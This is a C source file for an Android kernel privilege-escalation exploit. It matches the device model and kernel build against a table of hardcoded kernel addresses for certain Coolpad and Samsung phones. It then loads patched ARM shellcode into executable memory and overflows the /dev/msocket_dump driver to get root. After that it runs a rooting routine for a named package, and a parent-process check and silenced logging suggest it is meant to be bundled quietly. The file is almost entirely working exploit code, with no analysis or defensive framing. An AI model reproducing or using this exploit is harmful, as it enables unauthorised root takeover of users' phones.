/*
 *  Collin's Binary Instrumentation Tool/Framework for Android
 *  Collin Mulliner <collin[at]mulliner.org>
 *  http://www.mulliner.org/android/
 *
 *  (c) 2012,2013
 *
 *  License: LGPL v2.1
 *
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <jni.h>
#include <fcntl.h>
#include <unistd.h>

#include <stdio.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <string.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#include <android/log.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <sys/system_properties.h>
#include "util.h"

//#define DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

#define LOG_TAG "JS"
#define HLOGI(fmt, args...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, fmt, ##args)''

typedef unsigned short  uint16;
typedef unsigned int  uint32;
#define _WORD  uint16
#define _DWORD  uint32 

#define HIWORD(x)   (*((_WORD*)&(x)+1))

typedef struct _sty{
	char band[8];
	char model[32];
	char buildno[64];
	char version[64];
	unsigned int e;
	unsigned int f;
	unsigned int a;
	unsigned int b;
}sty, *psty;


sty _data_start[] ={
{"yulong", "Coolpad 8720L", "3.4.39+", "#6 SMP PREEMPT Mon Jan 6 22:08:50 CST 2014", 0xc01e467c, 0xc0157cb0, 0xc0157718, 0x104 }, \
{"yulong", "Coolpad 8720L", "3.4.39+", "#4 SMP PREEMPT Sat Jan 25 20:44:03 CST 2014", 0xc01e4800, 0xc0157e34, 0xc015789c, 0x104 }, \
{"yulong", "Coolpad 8720L", "3.4.39+", "#2 SMP PREEMPT Wed Jan 29 11:46:46 CST 2014", 0xc01e4800, 0xc0157e34, 0xc015789c, 0x104 }, \
{"yulong", "Coolpad 8720L", "3.4.39+", "#10 SMP PREEMPT Thu Feb 13 15:50:17 CST 2014", 0xc01e487c, 0xc0157eb0, 0xc0157918, 0x104 }, \
{"yulong", "Coolpad 8720L", "3.4.39+", "#18 SMP PREEMPT Thu Feb 20 22:20:58 CST 2014", 0xc01e48a8, 0xc0157edc, 0xc0157944, 0x104 }, \
{"yulong", "Coolpad 8720L", "3.4.39+", "#6 SMP PREEMPT Fri Mar 7 07:30:39 CST 2014", 0xc01e48ac, 0xc0157ee0, 0xc0157948, 0x104 }, \
{"yulong", "Coolpad 8720L", "3.4.39+", "#20 SMP PREEMPT Fri Mar 21 20:48:49 CST 2014", 0xc01e48b0, 0xc0157ee4, 0xc015794c, 0x104}, \
{"yulong", "Coolpad 8720L", "3.4.39+", "#6 SMP PREEMPT Wed Apr 2 17:01:13 CST 2014", 0xc01e48b0, 0xc0157ee4, 0xc015794c, 0x104}, \
{"yulong", "Coolpad 8720L", "3.4.39+", "#2 SMP PREEMPT Mon Apr 14 17:08:59 CST 2014", 0xc01e4928, 0xc0157f5c, 0xc01579c4, 0x104}, \
{"yulong", "Coolpad 8720L", "3.4.39+", "#2 SMP PREEMPT Fri Apr 25 20:36:48 CST 2014", 0xc01e49ac, 0xc0157f5c, 0xc01579c4, 0x104}, \
{"samsung", "GT-I8268", "3.4.5-1496972", "#1 SMP PREEMPT Fri Dec 20 18:14:02 KST 2013", 0xc01cea90, 0xc01582a4, 0xc0157d30, 0x10c}, \
{"samsung", "GT-I8268", "3.4.5-1526121", "#1 SMP PREEMPT Mon Mar 10 14:01:42 KST 2014", 0xc01ceafc, 0xc01582a4, 0xc0157d30, 0x10c}, \
{"samsung", "GT-I9118", "3.4.5-2160627", "#2 SMP PREEMPT Wed Dec 4 21:03:52 KST 2013", 0xc01d69d8, 0xc0159880, 0xc015930c, 0x10c}, \
{"samsung", "GT-I9118", "3.4.5-2599209", "#2 SMP PREEMPT Fri Mar 14 12:09:55 KST 2014", 0xc01d6ad8, 0xc0159980, 0xc015940c, 0x10c}, \
{"samsung", "SM-G3812", "3.4.5-2047001", "#1 SMP PREEMPT Wed Nov 6 03:27:12 KST 2013", 0xc01d3828, 0xc0155e54, 0xc01558e0, 0x10c}, \
{"samsung", "SM-G3812", "3.4.5-2359578", "#1 SMP PREEMPT Fri Dec 27 17:01:46 KST 2013", 0xc01d3ca4, 0xc01561a0, 0xc0155c2c, 0x10c}, \
{"samsung", "SM-G3812", "3.4.5-2474281", "#1 SMP PREEMPT Fri Jan 24 15:17:34 KST 2014", 0xc01d3ce8, 0xc01561e4, 0xc0155c70, 0x10c}, \
{"Samsung", "SM-G3812", "3.4.5-2474281", "#1 SMP PREEMPT Wed Feb 19 16:36:49 KST 2014", 0xc01d378c, 0xc0155c88, 0xc0155714, 0x10c}, \
{"samsung", "SM-G3812", "3.4.5-2579689", "#1 SMP PREEMPT Wed Mar 5 16:24:22 KST 2014", 0xc01d378c, 0xc0155c88, 0xc0155714, 0x10c}, \
{"samsung", "SM-G3812", "3.4.5-2623829", "#1 SMP PREEMPT Mon Mar 31 09:41:11 KST 2014", 0xc01d378c, 0xc0155c88, 0xc0155714, 0x10c}, \
{"samsung", "SM-G3818", "3.4.5-2258295", "#1 SMP PREEMPT Thu Dec 26 21:02:56 KST 2013", 0xc01d4200, 0xc01566fc, 0xc0156188, 0x10c}, \
{"Samsung", "SM-G3818", "3.4.5-2258295", "#1 SMP PREEMPT Mon Feb 17 16:59:35 KST 2014", 0xc01d4200, 0xc01566fc, 0xc0156188, 0x10c}, \
 };

int g_data_entries = sizeof(_data_start) / sizeof(sty);

char shellcode[0x20] = "\x00\x00\xA0\xE3\x0C\x30\x9f\xE5\x33\xFF\x2F\xE1\x08\x30\x9F\xE5\x33\xFF\x2F\xE1\xFC\x81\xBD\xE8\x00\x00\x00\x00\x00\x00\x00\x00";
 
void root_exploit() {
    struct utsname ut_sname;
    int sys_ret = uname(&ut_sname);
    char phone_model[32] = {0};
    int n_phone_model_len = 0;
    sty tmpsty;
    int v10;
    size_t v11;
    size_t v12;
    char* v13;
    char* v14;
    char buf[512]; 

    if ( !sys_ret )
    {
        printff("ok,do phase 1\n");
        __system_property_get("ro.product.model", phone_model);
        n_phone_model_len = strlen(phone_model);
        
        int i = 0;
        while (i < g_data_entries) {
            int n_phone_release = 0;

            memcpy(&tmpsty, &_data_start[i], sizeof(sty));
            printff("band %s ,model %s, buildno %s, version %s\n", tmpsty.band,tmpsty.model,tmpsty.buildno,ut_sname.version);
            if (strlen(tmpsty.model) == n_phone_model_len) {
                n_phone_release = strlen(ut_sname.release);
                if(n_phone_release == strlen(tmpsty.buildno) &&
                     !strncmp(phone_model,tmpsty.model,n_phone_model_len) &&
                     !strncmp(tmpsty.buildno, ut_sname.release, n_phone_release)) {
                    
                    if (!strncmp(ut_sname.version, tmpsty.version,strlen(tmpsty.version))) {
                        break;
                    }
                }
            }    
            i++;
        }
        if(i == g_data_entries){
            printff("ok,error phone\n");
            //exit(1);
            return;
        }
        
        v13 = &tmpsty;
        
        if ( v13 )
        {
          printff("ok,do phase 2\n");
          v14 = mmap(0, 0x1000u, 7, 0x22, 0xFFFFFFFF, 0);
          if ( v14 != (void *)0xFFFFFFFF )
          {
            *((unsigned int *)shellcode + 6) = *((_DWORD *)v13 + 43);
            *((unsigned int *)shellcode + 7) = *((_DWORD *)v13 + 44);
            memcpy(v14, shellcode, 0x20u);
            
            int fd = open("/dev/msocket_dump", 2);
            if ( fd >= 0 )
            {
              printff("ok,do phase 3\n");
              *(_DWORD *)&buf[*((_DWORD *)v13 + 45)] = v14;
              write(fd, buf, *((_DWORD *)v13 + 45) + 4);
              close(fd);
              if ( !getuid() ){
                    printff("root success!!!!\n");
              }
            }
          }
        }
    }
    
}

//////////////////////////////////////////////////////////////////////////

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
#ifndef DEBUG		
	runrt( atoi(argv[1]), argv[2], argv[3] );
#endif
}

int main(int argc, const char **argv)
{
	int ret = 0;
	
#ifndef DEBUG	
	check_parent_pid();
#endif

	if(argc < 4) return 1;
	
	root_exploit();
	ret = (getuid() == 0);
	if(ret)
	{
		do_root(argc, argv);
	}
	return ret? 0:1;
}
